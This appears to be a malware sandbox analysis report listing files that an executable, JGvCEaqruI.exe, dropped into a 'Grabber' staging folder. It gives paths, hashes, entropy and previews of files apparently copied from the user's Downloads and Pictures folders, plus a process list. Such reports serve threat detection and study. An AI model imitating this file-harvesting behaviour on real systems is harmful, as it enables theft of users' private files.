SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NIRMEKAMZH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694574194309462
Encrypted:	false
SSDEEP:	24:57msLju1di6quBsK4eI3+RkAjyMKtB/kS0G1:gmjuC1uBsNeAokAUB/GE
MD5:	78801AF1375CDD81ED0CC275FE562870
SHA1:	8ED80B60849A4665F11E20DE225B9ACB1F88D5A9
SHA-256:	44BF2D71E854D09660542648F4B41BC00C70ABA36B4C8FD76F9A8D8AB23B5276
SHA-512:	E20D16EC40FEF1A83DB1FC39A84B691870C30590FC70CA38CC83A8F08C08F626E3136ADBF3B731F85E5768561C8829C42DF3B97C726191FEF3859272A03E99E0
Malicious:	false
Preview:	NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\QFAPOWPAFG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690474000177721
Encrypted:	false
SSDEEP:	24:2OgtZqoLtXCKESzKP+tziBUswJwLVk9zxY/tks7VMejXhggCon:cLtXZEmKPopswJEqxUkp82an
MD5:	A01E6B89B2F69F2DA25CB28751A6261C
SHA1:	48C11C0BECEB053F3DB16EC43135B20360E77E9B
SHA-256:	0D0EB85E2964B5DDA19C78D11B536C72544AE51B09DBEC26E70C69ADDC7E9AA5
SHA-512:	1E335E567B7F959E7524E532E257FBC0A21818BDCE0B909F83CBBCE8013FA61A8D665D7DED0982F87B29A5A786A0EE7129792A1B2D48DD205180569D9E919059
Malicious:	false
Preview:	QFAPOWPAFGZUMXROWPODMNAMXJGGULHBVFMBDFCUTBDPEHPYKVYAURAEPYZMHPBECXOGPOKPNMKAIBYHBFNFVWPHHZFRFVAYYHSJZJTHAYESIKJCXVOVANTTAMQKCXEHJRYFSWGEELTALODIPFLWFILANHAGQENMCPNFLPAJIPRNZRAIETALHZECBIKVUBLJMHNYJXPSAMZZCVZQOHLATXYVRZQROYHFKLVOJLGRAGXLMXJHKHSSCTHDFNSLOUEZPTFGVVVGCDIXIBWQFIIFACZAYUUQZJRKZXJQPLVPFTJAMSPRDIBBPPFLUCOUPPQDSFKQXMEIFUXXAGKAWLWJPNBHZSGIAFFXPBLRMFNGMVBEWTTPFJEHMXLOZWQHEHGWBXCAMZISSZMPHUOREQDUTUEPDVLBWTFCJIFAGQOEHFIMLTDTDLYPEQZDZBBZYMKXTUKVCEROFCABVNAQXVLLCCNLEOGKLFPVSGMNNQZHFNCWNPGBCLLMTYKZMJSUDIPHSUQJQTOTICLSMQNHYJAQTVXMEZAEGNBGADHUJNJLQZSSGWRLYBWJEOTERXWRTICIVUFNKHRUSWRGABWPZDFTGSDASOKXSFUGVBUISDQNJUAOCSOANZFXTFQGDKEKGZJRMJMGTAJCTJEOCZCUZMUYKAKZZQYDRJXWZWMOXQQLWJMWAENIFMHJXMELOZTVHRLQZNWCBXKEBNUBDDOFYHNWIPPRWGDZCQLMHAOLYZIDJJXAASOVDNHNMDDCIWFPIOLQHWQCPUVUZUDVOKBMFLALCZEQWJAKTVUUDROHEKJKHQBLQZNVWSNNZFKMZLQPFYUYHNCDTCBVUUNKNZIORBFTFVKLHZTQAPWVKTTZFCTHJBBWQMZTFKADJIZZANUOLLRBSVTUCNIJWDQPYHEPWEUTFVNOACOFURIPTLDGJUOYFJRHAUIQREUKUSADZYOEDEDZRKKPKLFLFQIMMIKLOCTSOFOEZYVAGMCITCUWAOUT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UNKRLCVOHV.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UNKRLCVOHV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\VWDFPKGDUF.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	21587
Entropy (8bit):	5.6834543703710025
Encrypted:	false
SSDEEP:	96:k+J+q+P+L+e+2+4qZ+t+2+3RL+Y+a+LQ+c+Gm+y+Y+p+9+Fa+0+p+c+s+H+61+YO:+VRJgbIItNTBGFxmQe1n2
MD5:	B5354EEB265551E76196F4E32189888A
SHA1:	56C14D1DE1FD0DCEE22788EDAEFB8338342092F6
SHA-256:	4C5F8D6DF93FE42DB4EC9A57770A80BA49B7FBC51F59BD561E58AEC24AC4F4BB
SHA-512:	70CDB2C18E0B542399AC2C3FF9081275E3AA0D5B9213F33154ECD8D196885187204BC76E583EA183F4F62585705AE7CB856C1371F6EA0CB704D999F67D91ADD1
Malicious:	false
